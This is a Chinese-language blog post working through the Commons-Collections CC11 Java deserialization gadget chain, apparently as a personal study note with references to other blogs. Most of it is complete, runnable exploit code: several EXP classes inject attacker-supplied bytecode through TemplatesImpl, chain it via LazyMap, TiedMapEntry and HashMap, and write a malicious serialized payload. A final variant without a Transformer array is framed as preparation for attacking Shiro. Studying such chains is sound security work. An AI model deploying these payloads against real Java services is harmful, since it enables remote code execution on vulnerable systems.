环境

  • CommonsCollections 3.1-3.2.1
  • jdk无限制

链子分析

看大佬的博客这调链子是CC2+CC6,这里把完整的调用链流程图放一下
image-20230715110638370
其实这条链子就是为后面的shiro可以不通过Transform数组来实现反序列化服务的

CC2的尾部链TemplatesImpl

把CC2的后半部分拿来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TemplatesImpl templates = new TemplatesImpl();  
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

这里为CC2的后半部分,只是加上了对_tfactory的处理,然后利用成功

CC6的前半部分

这里CC6的前半部分有点忘记了,接着分析一下,这里是InvokerTransformer.transform()去找到这里
image-20230715110701262
然后发现LazyMap.get()调用了这里
image-20230715110714346
然后再去找谁调用了get()方法,这个get()方法挺难找,所以我们就直接看,最终在TiedMapEntry.getValue()方法中找到
image-20230715110725585
然后继续找,发现同类下调用了
image-20230715110736662
然后就不用继续往下找了,因为在Java反序列化中hashCode方法后面的利用链基本都是下面这条

1
2
3
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()

所以直接到HashMap.hash()中看看
image-20230715110811501
CC6到这里就结束了,当然exp编写还有很多细节问题处理,下面来逐步编写exp,这里我们先将后半段和LazyMap连起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11Dome {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(lazyMap, chainedTransformer);
}
}

然后就是和TiedMapEntry 类连起来,因为TiedMapEntry 类中的 getValue() 方法调用了 LazyMapget() 方法,那么exp就是下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11Dome {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
tiedMapEntry.getValue();

}
}

然后继续往前即hashCode() 方法调用了 getValue() 方法而hashCode()方法调用在前面已经列过了所以直接构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11Dome {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
templates.newTransformer();


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMapEntry, "value");
serialize(map);
// unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

在调用这段代码的时候我们发现会直接序列化的时候会直接弹出计算器,这里其实和urldns链类似,这里在调试的又遇到了和我上次调试CC7的时候一样的问题如下
image-20230715110839336
最终没能解决,上次是因为过了一天再弄自己就好了,现在又是这样,哎,难搞
这里其实就是CC6中的问题,出在Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);这条语句上,这里put方法也会调用到hash方法,但是我们需要的是putVal里面的hash方法对key进行计算所以就需要通过反射对put改值,让他不触发这条链然后再put完之后再反射改回来,最终的代码可以调试,但是没明白上面的为什么不可以?然后这里还有个问题就是put的时候会传入一个key反序列化无法进入if执行transform方法,所以需要删掉这个key
image-20230715110851891
最终的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11Dome {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());



Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
// Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Map lazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> map = new HashMap<>();
map.put(tiedMapEntry, "value");
lazyMap.remove("key");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);


serialize(map);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

不带 Transformer 数组的 CC11 链子

上面是带了Transformer数组的那么现在要去掉,LazyMap#get 的参数 key,会被传进transform(),实际上它可以扮演 ConstantTransformer 的角色—— 一个简单的对象传递者。
我们 LazyMap.get(key) 直接调用 InvokerTransfomer.transform(key),然后像CC2那样调用 TempalteImpl.newTransformer() 来完成后续调用。即做如下修改

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};


//替换为如下代码
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

再将后面几行的代码修改如下

1
2
3
4
5
6
7
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

Map expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
lazyMap.remove(templates);

得到的最终 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11Dome {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove(templates);
setFieldValue(lazyMap, "factory", invokerTransformer);

serialize(expMap);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结

调试遇到了点问题,不知道那个代码为什么不能调,总的来说这条链子就是CC2的后半部分加CC6的前半部分稍微修改,没用到Transformer数组,对于后面的shiro学习做个铺垫

参考:
本文大都参考下面两篇博客
Java反序列化Commons-Collections篇09-CC11链 | Drunkbaby’s Blog (drun1baby.top)
‘Java反序列化-cc11’ | zer0_c|imb’s blog (zhuabapa.top)